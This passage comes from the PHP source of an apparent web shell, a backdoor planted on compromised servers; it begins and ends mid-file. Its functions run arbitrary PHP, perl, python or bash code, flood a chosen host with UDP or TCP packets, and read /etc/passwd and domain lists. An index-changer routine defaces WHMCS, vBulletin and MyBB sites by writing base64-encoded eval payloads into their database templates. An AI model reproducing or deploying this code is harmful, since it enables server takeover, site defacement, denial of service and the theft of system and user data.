echo \'<script>alfa3_="";</script><form onsubmit="editor(\'\'.addslashes($_POST[\'alfa1\']).\'\',\'\'.$_POST[\'alfa2\'].\'\',this.chmod.value,\'\'.$_POST[\'c\'].\'\',\'\'.$_POST[\'alfa4\'].\'\',\'\'.$ftype.\'\');return false;"><input type="text" name="chmod" value="\'.$file_perm.\'"><input type=submit value=" "></form>\';
break;
case \'hexdump\':
@chdir($_POST[\'c\']);
$c = __read_file($_POST[\'alfa1\']);
$n = 0;
$h = array(\'00000000<br>\',\'\',\'\');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= \' \'; break;
case 9: $h[2] .= \' \'; break;
case 10: $h[2] .= \' \'; break;
case 13: $h[2] .= \' \'; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
$h[1] .= \'<br>\';
$h[2] .= "
";
}
}
echo \'<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table></div></div>\';
break;
case \'rename\':
@chdir($_POST[\'c\']);
$alfa1_escape = addslashes($_POST["alfa1"]);
$alfa3_escape = addslashes($_POST["alfa3"]);
if(!empty($_POST[\'alfa3\'])){
$cmd_rename = false;
if($chdir_fals&&$alfa_canruncmd){
if(_alfa_is_writable($_POST[\'alfa1\'])){
$alfa1_escape = addslashes($alfa1_decoded);
alfaEx("cd \'".addslashes($_POST[\'c\'])."\';mv \'".$alfa1_escape."\' \'".addslashes($_POST[\'alfa3\'])."\'");
}else{
$cmd_rename = true;
}
}else{
$alfa1_escape = addslashes($_POST["alfa1"]);
}
if(!@rename($_POST[\'alfa1\'], $_POST[\'alfa3\'])&&$cmd_rename){
echo \'Can\'t rename!<br>\';}else{echo(\'Renamed!<script>try{$("\'.$_POST[\'alfa4\'].\'").innerHTML = "<div class=\'editor-icon\'>"+loadType(\'\'.$alfa3_escape.\'\',\'\'.$ftype.\'\',\'\'.$_POST[\'alfa4\'].\'\')+"</div><div class=\'editor-file-name\'>\'.$alfa3_escape.\'</div>";editor_files["\'.$_POST[\'alfa4\'].\'"].file = "\'.$alfa3_escape.\'";updateFileEditor("\'.$alfa1_escape.\'", "\'.$alfa3_escape.\'");\'.($ftype == "dir"?"updateDirsEditor(\'".$_POST[\'alfa4\']."\',\'".$alfa1_escape."\');":"").\'}catch(e){console.log(e)}</script>\');$alfa1_escape = $alfa3_escape;}
}
echo \'<form onsubmit="editor(\'\'.$alfa1_escape.\'\',\'\'.$_POST[\'alfa2\'].\'\',this.name.value,\'\'.$_POST[\'c\'].\'\',\'\'.$_POST[\'alfa4\'].\'\',\'\'.$ftype.\'\');return false;"><input type="text" name="name" value="\'.addslashes(htmlspecialchars(isset($_POST[\'alfa3\'])&&$_POST[\'alfa3\']!=\'\'?$_POST[\'alfa3\']:$alfa1_decoded)).\'"><input type=submit value=" "></form>\';
break;
case \'touch\':
@chdir($_POST[\'c\']);
if( !empty($_POST[\'alfa3\']) ) {
$time = strtotime($_POST[\'alfa3\']);
if($time){
$touched = false;
if($chdir_fals&&$alfa_canruncmd){
	alfaEx("cd \'".addslashes($_POST["c"])."\';touch -d \'".htmlspecialchars(addslashes($_POST[\'alfa3\']))."\' \'".addslashes($alfa1_decoded)."\'");
	$touched = true;
}
if(!@touch($_POST[\'alfa1\'],$time,$time)&&!$touched)
echo \'Fail!\';
else
echo \'Touched!\';
} else echo \'Bad time format!\';
}
clearstatcache();
echo \'<script>alfa3_="";</script><form onsubmit="editor(\'\'.addslashes($_POST[\'alfa1\']).\'\',\'\'.$_POST[\'alfa2\'].\'\',this.touch.value,\'\'.$_POST[\'c\'].\'\',\'\'.$_POST[\'alfa4\'].\'\',\'\'.$ftype.\'\');return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST[\'alfa1\']))).\'"><input type=submit value=" "></form>\';
break;
case \'image\':
@chdir($_POST[\'c\']);
echo(\'<hr>\');
$file = $_POST[\'alfa1\'];
$image_info = @getimagesize($file);
if(is_array($image_info)||$chdir_fals){
$width = (int)$image_info[0];
$height = (int)$image_info[1];
if($chdir_fals&&$alfa_canruncmd){
	$source = alfaEx("cat \'".addslashes($file)."\' | base64");
	list($width, $height) = explode(":", alfaEx("identify -format \'%w:%h\' \'".addslashes($file)."\'"));
	$mime = explode(":", alfaEx("file --mime-type \'".addslashes($file)."\'"));
	$image_info[\'mime\'] = $mime[1];
}else{
	$source = __ZW5jb2Rlcg(__read_file($file, false));
}
$image_info_h = "Image type = <span>[</span> ".$image_info[\'mime\']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";
if($width > 800){$width = 800;}
echo $content = "<div class=\'editor-view\'><div class=\'view-content\'><center>".$image_info_h."<br><img id=\'viewImage\' style=\'max-width:100%;border:1px solid green;\' src=\'data:".$image_info[\'mime\'].";base64,".$source."\' alt=\'".$file."\'></center></div></div><br>";
}
break;
}
echo \'</div>\';
alfaFooter();
}
function findicon($file,$type){
$s = \'http://solevisible.com/icons/\';
$types = array(\'json\',\'ppt\',\'pptx\',\'xls\',\'xlsx\',\'msi\',\'config\',\'cgi\',\'pm\',\'c\',\'cpp\',\'cs\',\'java\',\'aspx\',\'asp\',\'db\',\'ttf\',\'eot\',\'woff\',\'woff2\',\'woff\',\'conf\',\'log\',\'apk\',\'cab\',\'bz2\',\'tgz\',\'dmg\',\'izo\',\'jar\',\'7z\',\'iso\',\'rar\',\'bat\',\'sh\',\'alfa\',\'gz\',\'tar\',\'php\',\'php4\',\'php5\',\'phtml\',\'html\',\'xhtml\',\'shtml\',\'htm\',\'zip\',\'png\',\'jpg\',\'jpeg\',\'gif\',\'bmp\',\'ico\',\'txt\',\'js\',\'rb\',\'py\',\'xml\',\'css\',\'sql\',\'htaccess\',\'pl\',\'ini\',\'dll\',\'exe\',\'mp3\',\'mp4\',\'m4a\',\'mov\',\'flv\',\'swf\',\'mkv\',\'avi\',\'wmv\',\'mpg\',\'mpeg\',\'dat\',\'pdf\',\'3gp\',\'doc\',\'docx\',\'docm\');
if($type!=\'file\'){
return ($file==\'..\'?$s.\'back.png\':$s.\'folder.png\');
}else{
$ext = explode(\'.\',$file);
$ext = end($ext);
$ext = strtolower($ext);
return (in_array($ext,$types)?$s.$ext.\'.png\':$s.\'notfound.png\');
}
}
function alfadlfile(){
if(isset($_POST[\'c\'],$_POST[\'file\'])){
$basename = rawurldecode(basename($_POST[\'file\']));
$_POST[\'file\'] = str_replace("//", "/", $_POST[\'c\'].\'/\'.$basename);
$alfa_canruncmd = _alfa_can_runCommand(true,true);
if(@is_file($_POST[\'file\']) && @is_readable($_POST[\'file\']) || $alfa_canruncmd){
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=\"".addslashes($basename)."\"");
header("Content-Type: application/octet-stream");
if($GLOBALS["glob_chdir_false"]){
	$randname = $basename.rand(111,9999);
	$scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
	$filepath = $scriptpath."/".$randname;
	if(_alfa_is_writable($scriptpath)){
		alfaEx("cp \'".addslashes($_POST["file"])."\' \'".addslashes($filepath)."\'");
		readfile($filepath);
		@unlink($filepath);
	}else{
		alfaEx("cat \'".addslashes($_POST["file"])."\'");
	}
}else{
	readfile($_POST[\'file\']);
}
}else echo(\'Error...!\');}}
function __alfa_set_cookie($key, $value){
	$_COOKIE[$key] = $value;
	@setcookie($key, $value, time()+(86400 * 7), \'/\');
}
function alfaphpeval(){
if(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){
	$tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);
}else{
	$tempdir = dirname(alfaEx("mktemp"));
	__alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));
}
alfahead();
if(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'ini\')){
echo \'<div class=header>\';
ob_start();
$INI=ini_get_all();
print \'<table border=0><tr>\'
.\'<td class="listing"><font class="highlight_txt">Param</td>\'
.\'<td class="listing"><font class="highlight_txt">Global value</td>\'
.\'<td class="listing"><font class="highlight_txt">Local Value</td>\'
.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';
foreach ($INI as $param => $values)
print "
".\'<tr>\'
.\'<td class="listing"><b>\'.$param.\'</td>\'
.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\'
.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\'
.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';
$tmp = ob_get_clean();
$tmp = preg_replace(\'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);
$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';
}
if(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'info\')) {
echo \'<div class=header><style>.p {color:#000;}</style>\';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(\'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);
$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';
}
if(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'exten\')) {
echo \'<div class=header>\';
ob_start();
$EXT=get_loaded_extensions();
echo \'<table border=0><tr><td class="listing">\'.implode(\'</td></tr>\'."
".\'<tr><td class="listing">\', $EXT).\'</td></tr></table>\'.count($EXT).\' extensions loaded\';
echo \'</div><br>\';
}
$lang_html = "";
foreach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= \'<option value="\'.$key.\'" \'.($_POST["alfa3"]==$key?"selected":"").\'>\'.$val.\'</option>\';}
echo \'<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\'phpeval\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">\'.$lang_html.\'</select>\'._alfa_load_ace_options("eval").\'<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">\'.(!empty($_POST[\'alfa1\'])?htmlspecialchars($_POST[\'alfa1\']):"&lt;?php

	echo(\'hello alfa !\');

?>").\'</div></div><center><input type="submit" value="" style="margin-top:5px"></center>\';
echo \'</form><pre id="PhpOutput" style="\'.(empty($_POST[\'alfa1\'])?\'display:none;\':\'\').\'margin-top:5px;" class="ml1">\';
if(!empty($_POST[\'alfa1\'])){
if($_POST[\'alfa3\']=="php"){
ob_start();
eval(\'?>\'.$_POST[\'alfa1\']);
$result = htmlspecialchars(ob_get_clean());
}elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){
	$lang = $_POST[\'alfa3\'];
	$filename = "temp".rand(11111,99999);
	$temp = $tempdir."/".$filename ;
	__write_file($filename, $_POST[\'alfa1\']);
	$result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
	@unlink($filename);
	@unlink($temp);
}
echo \'<textarea class="bigarea">\'.$result.\'</textarea>\';
}
echo \'</pre></div>\';
alfafooter();
}
function alfahash(){
if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
\'Base64_encode ( $string )\' => \'__ZW5jb2Rlcg($s)\',
\'Base64_decode ( $string )\' => \'__ZGVjb2Rlcg($s)\',
\'strrev ( $string )\' => \'strrev($s)\',
\'bin2hex ( $string )\' => \'bin2hex($s)\',
\'hex2bin ( $string )\' => \'hex2bin($s)\',
\'md5 ( $string )\' => \'md5($s)\',
\'sha1 ( $string )\' => \'sha1($s)\',
\'hash ( "sha251", $string ) --> sha251\' => \'hash("sha256",$s)\',
\'hash ( "sha384", $string ) --> sha384\' => \'hash("sha384",$s)\',
\'hash ( "sha512", $string ) --> sha512\' => \'hash("sha512",$s)\',
\'crypt ( $string )\' => \'crypt($s)\',
\'crc32 ( $string )\' => \'crc32($s)\',
\'str_rot13 ( $string )\' => \'str_rot13($s)\',
\'urlencode ( $string )\' => \'urlencode($s)\',
\'urldecode  ( $string )\' => \'urldecode($s)\',
\'full_urlencode  ( $string )\' => \'full_urlencode($s)\',
\'htmlspecialchars  ( $string )\' => \'htmlspecialchars($s)\',
\'base64_encode (gzdeflate( $string , 9)) --> Encode\' => \'__ZW5jb2Rlcg(gzdeflate($s, 9))\',
\'gzinflate (base64_decode( $string )) --> Decode\' => \'@gzinflate(__ZGVjb2Rlcg($s))\',
\'str_rot13 (base64_encode( $string )) --> Encode\' => \'str_rot13(__ZW5jb2Rlcg($s))\',
\'base64_decode (str_rot13( $string )) --> Decode\' => \'__ZGVjb2Rlcg(str_rot13($s))\',
\'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode\' => \'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))\',
\'gzinflate (base64_decode(str_rot13( $string ))) --> Decode\' => \'@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))\',
);
alfahead();
echo \'<div class=header>\';
echo "<form onSubmit=\'g(\"hash\",null,this.selectTool.value,this.input.value);return false;\'><div class=\'txtfont\'>Method:</div> <select name=\'selectTool\' style=\'width:400px;\'>";
foreach($stringTools as $k => $v)
echo "<option value=\'".htmlspecialchars($v)."\' ".($_POST[\'alfa1\']==$v?\'selected\':\'\').">".$k."</option>";
echo "</select> <input type=\'submit\' value=\' \'/><br><textarea  name=\'input\' style=\'margin-top:5px\' class=\'bigarea\'>".(empty($_POST[\'alfa1\'])?\'\':htmlspecialchars(@$_POST[\'alfa2\']))."</textarea></form>";
if(!empty($_POST[\'alfa1\'])){
$string = addslashes($_POST[\'alfa2\']);
$string = str_replace(\'\"\',\'"\',$string);
$alg = $_POST[\'alfa1\'];
$code = str_replace(\'$s\',"\'".$string."\'",$alg);
ob_start();
eval(\'echo \'.$code.\';\');
$res = ob_get_contents();
ob_end_clean();
if(in_array($alg, $stringTools))echo \'<textarea class="bigarea">\'.htmlspecialchars($res).\'</textarea>\';
}
echo "</div>";
alfaFooter();
}
function alfados(){
alfahead();
echo \'<div class=header>\';
echo \'<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\'dos\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>\';
if(!empty($_POST[\'alfa1\']) && !empty($_POST[\'alfa2\']) && !empty($_POST[\'alfa3\'])){
echo __pre();
$packets=0;
ignore_user_abort(true);
$exec_time=(int)$_POST[\'alfa2\'];
$time=time();
$max_time=$exec_time+$time;
$host=$_POST[\'alfa1\'];
$port=(int)$_POST[\'alfa3\'];
$method=$_POST[\'alfa4\'];
$out = str_repeat(\'X\',65000);
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = @fsockopen($method.\'://\'.$host, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<center>$packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second</center>";
echo "</pre>";
}
echo \'</div>\';
alfafooter();
}
function __pre(){return(\'<pre id="strOutput" style="margin-top:5px" class="ml1">\');}
function alfaIndexChanger(){
alfahead();

echo \'<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,null,\'whmcs\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,\'vb\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,\'mybb\')">| MyBB | </a></h3></center>\';
if(isset($_POST[\'alfa3\'])&&($_POST[\'alfa3\'] == \'whmcs\')){
echo __pre();

echo "<center><center><div class=\'txtfont_header\'>| Whmcs |</div>
<p><center>".getConfigHtml(\'whmcs\')."<form onSubmit=\"g(\'IndexChanger\',null,null,null,\'whmcs\',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\">
";
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'URL\', \'inputName\' => \'path\', \'inputValue\' => \'http://site.com/whmcs\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'File Name\', \'inputName\' => \'fname\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td6\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')
);
create_table($table);
echo "<br><div class=\'txtfont\'>| Your Index |</div><br>
<textarea name=index rows=\'19\' cols=\'103\'><title></title><b></b></textarea><br>
<input type=\'submit\' value=\' \'>
</form></center></center>";
if(isset($_POST[\'alfa6\'])){
$s0levisible="Powered By";
$dbu = $_POST[\'alfa6\'];
$path = $_POST[\'alfa5\'];
$fname = $_POST[\'alfa4\'];
$dbn = $_POST[\'alfa7\'];
$dbp = $_POST[\'alfa8\'];
$dbh = $_POST[\'alfa9\'];
$index = $_POST[\'alfa10\'];
$index = str_replace("\'","\'",$index);
$deface = \'$x = base64_decode("\'.__ZW5jb2Rlcg($index).\'"); $solevisible = fopen("\'.$fname.\'","w"); fwrite($solevisible,$x);\';
$saveData = __ZW5jb2Rlcg($deface);
$Def = \'{php}eval(base64_decode("\'.$saveData.\'"));{/php}\';
if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$soleSave=@mysqli_query($conn,"select message from tblemailtemplates where name=\'Password Reset Validation\'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet[\'message\'];
$tempSave = str_replace("\'","\'",$tempSave1);
$inject = "UPDATE tblemailtemplates SET message=\'$Def\' WHERE name=\'Password Reset Validation\'";
$result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values(\'[email protected]\')";
$result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists(\'curl_version\')){
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&[email protected]");
$backdata = "UPDATE tblemailtemplates SET message=\'{$tempSave}\' WHERE name=\'Password Reset Validation\'";
$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert(\'File Created...\');
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target=\'_blank\' href=\'".$path."/".$fname."\'>Click Here !</a></font></b></center><br><br>";
}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" ".$path."/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>[email protected]</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" ".$path."/".$fname." \"</font></b></center><br><br>";
}}}}
if(isset($_POST[\'alfa1\']) && ($_POST[\'alfa1\'] == \'vb\')){
echo __pre();

echo "<center><center><div class=\'txtfont_header\'>| vBulletin |</div>
<p><center>".getConfigHtml(\'vb\')."<form onSubmit=\"g(\'IndexChanger\',null,\'vb\',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,\'>>\'); return false;\">
";
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Prefix\', \'inputName\' => \'prefix\', \'id\' => \'db_prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\')
);
create_table($table);
echo "<br><div class=\'txtfont\'>| Your Index |</div><br>
<textarea name=\'index\' rows=\'19\' cols=\'103\'><title></title><b></b></textarea><br>
<input type=\'submit\' value=\' \'></form></center></center>";
if($_POST[\'alfa8\']==\'>>\'){
$s0levisible="Powered By ";
$dbu = $_POST[\'alfa2\'];
$dbn = $_POST[\'alfa3\'];
$dbp = $_POST[\'alfa4\'];
$dbh = $_POST[\'alfa5\'];
$index = $_POST[\'alfa6\'];
$prefix = $_POST[\'alfa7\'];
$index=str_replace("\'","\'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= __ZW5jb2Rlcg("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}";
if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$loli1 = "UPDATE ".$prefix."template SET template=\'".$set_index."".$s0levisible."\' WHERE title=\'spacer_open\'";
$loli2 = "UPDATE ".$prefix."template SET template=\'".$set_index."".$s0levisible."\' WHERE title=\'FORUMHOME\'";
$loli3 = "UPDATE ".$prefix."style SET css=\'".$set_index."".$s0levisible."\', stylevars=\'\', csscolors=\'\', editorstyles=\'\'";
@mysqli_query($conn,$loli1) or die (mysqli_error($conn));
@mysqli_query($conn,$loli2) or die (mysqli_error($conn));
@mysqli_query($conn,$loli3) or die (mysqli_error($conn));
__alert(\'VB index changed...!\');
}
}
}
if(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'mybb\')) {
echo __pre();

echo "<center><center><div class=\'txtfont_header\'>| Mybb |</div>
<p><center>".getConfigHtml(\'mybb\')."<form onSubmit=\"g(\'IndexChanger\',null,\'null\',\'mybb\',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=\'\'>
";
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'mybbdbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'mybbdbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'mybbdbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'mybbdbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')
);
create_table($table);
echo "<br><div class=\'txtfont\'>| Your Index |</div><br>
<textarea name=mybbindex rows=\'19\' cols=\'103\'>
<title></title><b></b></textarea><p><input type=\'submit\' value=\'\' ></p></form></center></center>";
if(isset($_POST[\'alfa6\'])){
$mybb_dbh = $_POST[\'alfa6\'];
$mybb_dbu = $_POST[\'alfa7\'];
$mybb_dbn = $_POST[\'alfa8\'];
$mybb_dbp = $_POST[\'alfa9\'];
$mybb_index = $_POST[\'alfa10\'];
if(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){
$conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));
$prefix="mybb_";
$loli7 = "UPDATE ".$prefix."templates SET template=\'".$mybb_index."\' WHERE title=\'index\'";
$result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));
__alert(\'MyBB index changed...!\');
}
}
}
echo "</div>";
alfafooter();
}
function alfaproc()
{
alfahead();
echo "<Div class=header><br><center>";
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'alfa1\']))
$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
if($GLOBALS[\'sys\']=="win"){
$process=array(
"Task List" =>"tasklist /V",
"System Info" =>"systeminfo",
"Active Connections" => "netstat -an",
"Running Services" => "net start",
"User Accounts" => "net user",
"Show Computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);}else{
$process=array(
"Process status" => "ps aux",
"Syslog" =>"cat /etc/syslog.conf",
"Resolv" => "cat /etc/resolv.conf",
"Hosts" =>"cat /etc/hosts",
"Cpuinfo"=>"cat /proc/cpuinfo",
"Version"=>"cat /proc/version",
"Sbin"=>"ls -al /usr/sbin",
"Interrupts"=>"cat /proc/interrupts",
"lsattr"=>"lsattr -va",
"Uptime"=>"uptime",
"Fstab" =>"cat /etc/fstab"
);}
foreach($process as $n => $link){
echo \'<a href="javascript:void(0);" onclick="g(\'proc\',null,\'\'.$link.\'\')"> | \'.$n.\' | </a>\';
}
echo "</center><br>";
if(!empty($_POST[\'alfa1\'])){
echo "<pre class=\'ml1\' style=\'margin-top:5px\' >";
if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd \'".addslashes($_POST["c"])."\';";}
echo alfaEx($cmd.$_POST[\'alfa1\'], true);
echo \'</pre>\';
}
echo "</div>";
alfafooter();
}
function alfasafe(){
alfahead();
echo "<div class=header><center><br><div class=\'txtfont_header\'>| Auto ByPasser |</div>";
echo \'<h3><a href=javascript:void(0) onclick="g(\'safe\',null,\'php.ini\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,\'ini\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,\'users\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>\';
if(!empty($_POST[\'alfa8\']) && isset($_POST[\'alfa8\']) == \'domains\'){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
echo __pre();
$solevisible9 = _alfa_file(\'/etc/named.conf\');
if(is_array($solevisible9)){
foreach($solevisible9 as $solevisible13){
if(@eregi(\'zone\',$solevisible13)){
preg_match_all(\'#zone "(.*)"#\',$solevisible13,$solevisible14);
if(strlen(trim($solevisible14[1][0])) > 2){
echo $solevisible14[1][0].\'<br>\';
}}}
}
}else{
echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
if(is_array($users)){
foreach($users as $boz){
$dom = explode(":",$boz);
echo $dom[0]."
";}}}}
if(!empty($_POST[\'alfa6\']) && isset($_POST[\'alfa6\']) == \'valiases\'){
echo \'
<form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,\'>>\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>\';
